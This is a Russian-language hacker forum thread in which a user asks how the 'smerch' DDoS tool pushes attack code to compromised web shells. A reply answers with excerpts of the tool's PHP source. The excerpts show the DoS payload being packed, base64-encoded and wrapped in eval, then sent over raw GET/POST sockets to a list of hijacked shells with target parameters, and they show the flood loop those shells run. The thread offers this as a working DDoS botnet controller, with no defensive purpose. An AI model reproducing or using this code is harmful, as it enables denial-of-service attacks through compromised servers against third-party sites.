• XSS.stack #1 – первый литературный журнал от юзеров форума

Отправка кода на шелл...

DiegO

RAM
Пользователь
Регистрация
28.07.2010
Сообщения
140
Реакции
2
Помогите пожалуйсто мне, подскажите как отправляет smerch (тот что для DDoS) команды (содержимое модулей ддоса) на шеллы ?

Буду благодарен, обьязательно дам плюсик :)
 
DiegO, берет шеллы из списка адресов сайтов с шеллами, которые поддерживают удаленное выполнение php-кода. Затем шлет на них кастомный код (способ отправки описан в том же файле со списком шеллов), выполняющий DoS, закодированный в base64 в теле GET-а или POST-а (в зависимости от типа шелла) вместе с адресом сайта-цели и прочими параметрами, описывающими атаку. Шелл на той стороне его (код) принимает и исполняет, (сам код вытаскивает параметры) и совершая таким образом атаку.
Нужны подробности? :)
 
DiegO, у меня версия Smerch 0.2. Куски из index.php:

Вот два параметра, файл со списком шеллов и файл с php-кодом, выполняющим собственно DoS (его сразу считываем в $death_code)
Код:
$server_file = "./servers.dat";
$death_code = file_get_contents("./dos_script_noproxy.php");
Загружаем массив с адресами шеллов и их параметрами (куда вставлять код и т.д.) в массив $db
Код:
$db = @unserialize(file_get_contents($server_file));
Если пользователь хочет провести атаку,
Код:
elseif ($F['doattack'] || $F['docheck'])    # - команда на атаку.
Берем считанный нами php DoS-код, укорачиваем его, удаляем все лишнее (с сохранением работоспособности, естессно)
Код:
# - Пакуем код...
    $death_code = preg_replace("/\<"."\?(.+)\?"."\>/is", "\\1", $death_code);  // нах не нужны php iden
    $death_code = preg_replace("/\#([^\n\r]+)/is", "", $death_code);// - комменты нахуй.
    $death_code = str_replace(array("\n", "\r", "\t", "   "), "", $death_code); // тоже нах.
    $death_code = preg_replace("/\;\s+/is", ";", $death_code);
Кодируем его в base64 и "заворачиваем" в eval сразу
Код:
$death_code = urlencode("eval(base64_decode('".base64_encode($death_code)."'));");
Затем начинается самое интересное - отсылка кода. Пробегаемся по массиву с шеллами
Код:
foreach ($db as $key=>$row)
    {
Формируем переменную $url, которая будет содержать адрес шелла и все необходимые данные (код, параметры атаки и т.д.). Она будет являть собой GET-запрос.
Код:
$url = $row['url'];
      $url = str_replace("{death_code}", $death_code ,$url);
      $url = str_replace("{death_url}", $death_url ,$url);
      $url.= "&_DDOZU_=$F[dohost]&_DDOZC_=$F[socount]&_DDOZS_=$F[sleep]&_DDOZT_=$F[time]";
Соответсвенно сам адрес шелла в servers.dat имеет примерно такой формат:
Код:
http://www.example.com/shell.php?php={death_code}
Соответственно {death_code} мы и заменяем на наш код. Условие таково, что шелл на той стороне должен "понимать", что в параметре php ему пришло то, что нужно выполнить в виде php-кода.

Итак, парсим полученный $url в массив $a_url (в котором будут уже отдельно имя хоста, порт, путь к скрипту и отдельно текст запроса), чтобы иметь возможность если нужно, отослать данные не в GET, а в POST
Код:
$url_a = parse_url($url);
Пытаемся открыть соединение к очередному шеллу при помощи fsockopen
Код:
if (!$socket = fsockopen($url_a['host'], 80,$s,$s,5)){ $db[$key]['state'] = "<FONT color=red>Can't connect!</FONT>"; continue;}
И посылаем на него собственно все что нам нужно - GET-ом или POST-ом, в зависимости от данных, описывающих шелл, и хранящихся в том же servers.dat. POST:
Код:
if (!$row['senttype'])
      {
       fputs($socket, "POST http://$url_a[host]$url_a[path] HTTP/1.1\r\n");
       fputs($socket, "Content-Type: application/x-www-form-urlencoded \r\n");
       fputs($socket, "Host: $url_a[host]\r\n");
       fputs($socket, "Content-length: ".strlen($url_a['query'])."\r\n");
       fputs($socket, "Connection: close\r\n");
       fputs($socket, "\r\n");
       fputs($socket, "$url_a[query]");
GET:
Код:
}else
      {
       fputs($socket, "GET http://$url_a[host]$url_a[path]?$url_a[query] HTTP/1.1\r\n");
       fputs($socket, "Content-Type: application/x-www-form-urlencoded \r\n");
       fputs($socket, "Host: $url_a[host]\r\n");
       fputs($socket, "Connection: close\r\n\r\n");
      }


Вот и все. Шелл на той стороне наш код принимает и выполняя сначала base64, а потом eval (это мы так и отправили), выполняет сию полезную нагрузку.

Сама нагрузка(dos_script_noproxy.php) вытаскивает из параметров, пришедших вместе с ней адрес атакуемого хоста, время атаки и т.д.:
Код:
 $F = $_GET + $_POST;
 $a = array('url'=>$F['_DDOZU_'],'count'=>$F['_DDOZC_'],'time'=>$F['_DDOZT_'],'sleep'=>$F['_DDOZS_'],'debug'=>$F['debug']);
И начинает собственно атаку с этими параметрами:
Код:
while(true){ simple_flood($a['url'], $a['count'], $a['sleep'], $a['debug']); sleep(1);if(($diet)&&(time()>$diet)) exit;}
function simple_flood($url, $so_count,$sleep,$debug = 0)
{
... // (текст функции опущен)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх